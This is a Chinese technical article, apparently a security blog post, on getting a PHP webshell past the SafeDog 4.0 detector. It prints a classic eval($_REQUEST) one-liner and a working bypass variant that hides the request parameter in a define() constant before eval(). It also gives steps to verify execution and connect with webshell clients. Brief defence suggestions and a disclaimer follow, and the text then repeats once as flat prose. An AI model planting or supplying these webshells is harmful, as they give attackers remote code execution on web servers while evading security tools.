安全狗4.0版本绕过
字数 774 2025-08-18 11:39:22

绕过安全狗4.0版本的WebShell技术分析

技术背景

安全狗是一款常见的网站安全防护软件,其4.0版本提供了WebShell检测功能。本文介绍了一种通过定义常量来绕过安全狗检测的方法。

核心原理

利用PHP的define()函数定义常量,将恶意代码存储在常量中,然后通过eval()执行该常量,从而绕过安全狗对传统WebShell的检测模式。

详细步骤

1. 传统WebShell分析

传统一句话WebShell形式:

<?php eval($_REQUEST['a']); ?>

安全狗能够有效检测这种直接使用eval()执行请求参数的WebShell。

2. 绕过技术实现

使用define()函数定义常量来存储恶意代码:

<?php 
define("hi", "$_REQUEST[young]"); 
eval(hi); 
?>

技术要点解析:

  • define()函数定义了一个名为"hi"的常量
  • 常量值为$_REQUEST[young],即从请求参数中获取的代码
  • 通过eval(hi)执行该常量中的代码
  • 常量名"hi"和参数名"young"可以任意替换

3. 验证方法

  1. 首先测试phpinfo()函数确认代码执行是否成功:

    <?php 
    define("hi", "phpinfo();"); 
    eval(hi); 
    ?>
    
  2. 确认可执行后,使用常规WebShell连接工具连接测试

4. 技术优势

  • 避免了直接使用eval($_REQUEST['a'])这种被安全狗标记的模式
  • 将恶意代码分两部分存储和执行,增加了检测难度
  • 代码结构简单,易于修改和变形

防御建议

针对此类绕过技术,安全防护系统应考虑:

  1. 监控define()eval()的组合使用
  2. 分析常量定义中的动态代码特征
  3. 加强对非常规WebShell模式的检测
  4. 实施多层防御策略,不依赖单一检测方法

扩展思考

此技术展示了WAF绕过的基本思路:通过代码变形和分阶段执行来规避直接的模式匹配。类似的思路可以应用于其他WAF的绕过,如作者提到的D盾等。

注意:本文仅用于安全研究和技术交流目的,请勿用于非法用途。

绕过安全狗4.0版本的WebShell技术分析 技术背景 安全狗是一款常见的网站安全防护软件,其4.0版本提供了WebShell检测功能。本文介绍了一种通过定义常量来绕过安全狗检测的方法。 核心原理 利用PHP的 define() 函数定义常量,将恶意代码存储在常量中,然后通过 eval() 执行该常量,从而绕过安全狗对传统WebShell的检测模式。 详细步骤 1. 传统WebShell分析 传统一句话WebShell形式: 安全狗能够有效检测这种直接使用 eval() 执行请求参数的WebShell。 2. 绕过技术实现 使用 define() 函数定义常量来存储恶意代码: 技术要点解析: define() 函数定义了一个名为"hi"的常量 常量值为 $_REQUEST[young] ,即从请求参数中获取的代码 通过 eval(hi) 执行该常量中的代码 常量名"hi"和参数名"young"可以任意替换 3. 验证方法 首先测试 phpinfo() 函数确认代码执行是否成功: 确认可执行后,使用常规WebShell连接工具连接测试 4. 技术优势 避免了直接使用 eval($_REQUEST['a']) 这种被安全狗标记的模式 将恶意代码分两部分存储和执行,增加了检测难度 代码结构简单,易于修改和变形 防御建议 针对此类绕过技术,安全防护系统应考虑: 监控 define() 与 eval() 的组合使用 分析常量定义中的动态代码特征 加强对非常规WebShell模式的检测 实施多层防御策略,不依赖单一检测方法 扩展思考 此技术展示了WAF绕过的基本思路:通过代码变形和分阶段执行来规避直接的模式匹配。类似的思路可以应用于其他WAF的绕过,如作者提到的D盾等。 注意 :本文仅用于安全研究和技术交流目的,请勿用于非法用途。